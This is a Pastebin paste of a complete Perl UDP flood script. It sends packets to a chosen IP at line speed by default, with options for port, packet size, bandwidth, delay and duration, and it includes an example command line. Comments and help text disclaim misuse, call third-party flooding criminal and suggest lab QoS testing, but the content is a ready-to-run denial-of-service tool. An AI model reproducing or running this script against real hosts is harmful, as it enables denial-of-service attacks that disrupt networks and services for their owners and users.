talama

UDP Flood script

May 7th, 2017
1,347
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.00 KB | None | 0 0
  1. <!----
  2. ./food.pl 127.0.0.1 --port=80 --size=100 --time=120
  3. ---->
  4.  
  5. #!/usr/bin/perl
  6. #####################################################
  7. # UDP Flood script
  8. # Don't use it for bad purposes
  9. ######################################################
  10.  
  11. use Socket;
  12. use strict;
  13. use Getopt::Long;
  14. use Time::HiRes qw( usleep gettimeofday ) ;
  15.  
  16. our $port = 0;
  17. our $size = 0;
  18. our $time = 0;
  19. our $bw   = 0;
  20. our $help = 0;
  21. our $delay= 0;
  22.  
  23. GetOptions(
  24.     "port=i" => \$port,     # UDP port to use, numeric, 0=random
  25.     "size=i" => \$size,     # packet size, number, 0=random
  26.     "bandwidth=i" => \$bw,      # bandwidth to consume
  27.     "time=i" => \$time,     # time to run
  28.     "delay=f"=> \$delay,        # inter-packet delay
  29.     "help|?" => \$help);        # help
  30.  
  31.  
  32. my ($ip) = @ARGV;
  33.  
  34. if ($help || !$ip) {
  35.   print <<'EOL';
  36. flood.pl --port=dst-port --size=pkt-size --time=secs
  37.          --bandwidth=kbps --delay=msec ip-address
  38.  
  39. Defaults:
  40.   * random destination UDP ports are used unless --port is specified
  41.   * random-sized packets are sent unless --size or --bandwidth is specified
  42.   * flood is continuous unless --time is specified
  43.   * flood is sent at line speed unless --bandwidth or --delay is specified
  44.  
  45. Usage guidelines:
  46.   --size parameter is ignored if both the --bandwidth and the --delay
  47.     parameters are specified.
  48.  
  49.   Packet size is set to 256 bytes if the --bandwidth parameter is used
  50.     without the --size parameter
  51.  
  52.   The specified packet size is the size of the IP datagram (including IP and
  53.   UDP headers). Interface packet sizes might vary due to layer-2 encapsulation.
  54.  
  55. Warnings and Disclaimers:
  56.   Flooding third-party hosts or networks is commonly considered a criminal activity.
  57.   Flooding your own hosts or networks is usually a bad idea
  58.   Higher-performace flooding solutions should be used for stress/performance tests
  59.   Use primarily in lab environments for QoS tests
  60. EOL
  61.   exit(1);
  62. }
  63.  
  64. if ($bw && $delay) {
  65.   print "WARNING: computed packet size overwrites the --size parameter ignored\n";
  66.   $size = int($bw * $delay / 8);
  67. } elsif ($bw) {
  68.   $delay = (8 * $size) / $bw;
  69. }
  70.  
  71. $size = 256 if $bw && !$size;
  72.  
  73. ($bw = int($size / $delay * 8)) if ($delay && $size);
  74.  
  75. my ($iaddr,$endtime,$psize,$pport);
  76. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  77. $endtime = time() + ($time ? $time : 1000000);
  78. socket(flood, PF_INET, SOCK_DGRAM, 17);
  79.  
  80. print "Flooding $ip " . ($port ? $port : "random") . " port with " .
  81.   ($size ? "$size-byte" : "random size") . " packets" . ($time ? " for $time seconds" : "") . "\n";
  82. print "Interpacket delay $delay msec\n" if $delay;
  83. print "total IP bandwidth $bw kbps\n" if $bw;
  84. print "Break with Ctrl-C\n" unless $time;
  85.  
  86. die "Invalid packet size requested: $size\n" if $size && ($size < 64 || $size > 1500);
  87. $size -= 28 if $size;
  88. for (;time() <= $endtime;) {
  89.   $psize = $size ? $size : int(rand(1024-64)+64) ;
  90.   $pport = $port ? $port : int(rand(65500))+1;
  91.  
  92.   send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
  93.   usleep(1000 * $delay) if $delay;
  94. }
Advertisement
Add Comment
Please, Sign In to add comment